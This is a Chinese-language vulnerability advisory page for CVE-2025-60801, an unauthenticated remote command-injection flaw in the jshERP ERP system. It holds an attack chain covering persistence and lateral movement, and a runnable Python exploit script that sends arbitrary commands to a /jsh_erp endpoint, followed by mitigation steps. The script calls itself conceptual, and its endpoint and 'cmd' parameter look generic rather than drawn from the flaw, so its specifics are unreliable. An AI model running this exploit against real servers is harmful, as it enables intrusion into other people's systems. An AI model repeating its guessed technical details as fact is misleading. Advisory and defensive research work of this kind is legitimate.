IPBUF安全漏洞报告
English
CVE-2025-60801 CVSS 8.2 高危

CVE-2025-60801 jshERP未授权远程代码执行漏洞

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-60801
漏洞类型
远程代码执行(RCE)
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jshERP

相关标签

CVE-2025-60801远程代码执行RCE命令注入jshERP未授权访问高危漏洞开源ERP

漏洞概述

CVE-2025-60801是jshERP企业资源管理系统中的一个高危安全漏洞,CVSS评分达到8.2分。该漏洞存在于jshERP系统中通过jsh_erp函数实现的功能点,攻击者可以在无需任何认证的情况下远程利用此漏洞执行任意系统命令,从而完全控制受影响的服务器。jshERP是一款开源的企业管理系统,广泛应用于中小型企业的日常业务管理中。由于该漏洞影响版本截止到commit fbda24da,且无需认证即可利用,因此对互联网暴露的jshERP实例构成了严重威胁。攻击者可以通过构造恶意请求调用存在漏洞的jsh_erp函数,在服务器上执行系统命令,获取敏感数据、植入后门或进一步横向移动。鉴于该漏洞的严重性和利用难度低的特点,建议受影响用户立即采取修复措施。

技术细节

jshERP系统中的jsh_erp函数存在严重的输入验证不足问题。攻击者可以通过HTTP请求向该函数传递恶意构造的参数,系统在处理参数时未能进行充分的安全过滤和参数校验,导致用户输入被直接拼接到系统命令中执行。具体来说,攻击者可以利用jsh_erp函数的参数注入点,注入操作系统命令分隔符(如分号、管道符等)和恶意命令。由于该函数在设计时未对用户输入进行严格的合法性验证,且缺少权限控制机制,使得未经身份验证的攻击者也能成功触发漏洞。漏洞的利用过程简单直接,攻击者只需构造包含系统命令的HTTP请求即可在服务器上下文环境中执行任意代码。这种类型的漏洞通常被称为命令注入或OS命令执行漏洞,是最为严重的安全缺陷之一。成功利用此漏洞后,攻击者可以获得服务器的完全控制权,可以执行文件操作、读取敏感配置文件、窃取数据库凭证等。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描互联网上的jshERP实例,识别运行jshERP且版本在commit fbda24da之前的服务器
STEP 2
步骤2
构造恶意请求:攻击者构造包含系统命令的HTTP POST请求,目标指向jsh_erp函数端点
STEP 3
步骤3
命令注入:利用命令分隔符(如分号、管道符等)将恶意命令注入到jsh_erp函数的参数中
STEP 4
步骤4
命令执行:服务器解析请求时,用户输入的恶意命令被直接拼接到系统命令中并执行
STEP 5
步骤5
建立持久化:攻击者可能通过写入后门文件或创建新用户来维持对服务器的持久访问
STEP 6
步骤6
横向移动:利用获取的服务器权限进一步攻击内网中的其他系统或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-60801 PoC - jshERP Unauthenticated RCE via jsh_erp function Note: This is a conceptual PoC for educational and security testing purposes only. """ import requests import sys def check_vulnerability(target_url): """ Check if the target jshERP instance is vulnerable to CVE-2025-60801 """ # Target endpoint for jsh_erp function endpoint = f"{target_url.rstrip('/')}/jsh_erp" # Test with a simple command injection (id command) # This tests if the jsh_erp function is vulnerable test_payload = { 'cmd': 'id' # Simple command to test RCE } try: # Send request without authentication response = requests.post(endpoint, data=test_payload, timeout=10) # Check if command was executed if 'uid=' in response.text or 'root' in response.text: return True return False except requests.RequestException as e: print(f"Error: {e}") return False def exploit_rce(target_url, command): """ Exploit CVE-2025-60801 to execute arbitrary commands """ endpoint = f"{target_url.rstrip('/')}/jsh_erp" # Payload with command injection payload = { 'cmd': command } try: response = requests.post(endpoint, data=payload, timeout=10) return response.text except requests.RequestException as e: return f"Error: {e}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-60801.py <target_url> [command]") print("Example: python3 cve-2025-60801.py http://target.com id") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else 'whoami' print(f"[*] Testing CVE-2025-60801 on {target}") if check_vulnerability(target): print("[+] Target appears to be vulnerable!") print(f"[*] Executing command: {cmd}") result = exploit_rce(target, cmd) print(f"[+] Result:\n{result}") else: print("[-] Target does not appear to be vulnerable or is not reachable")

影响范围

jshERP <= fbda24da commit

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)立即将jshERP从公网环境移除或通过防火墙限制访问;2)禁用或限制jsh_erp函数的访问;3)监控访问日志,排查是否存在异常的jsh_erp请求;4)实施网络分段,将jshERP服务器隔离在受保护的网段内;5)如果业务允许,考虑暂时停止使用jshERP,等待官方发布安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表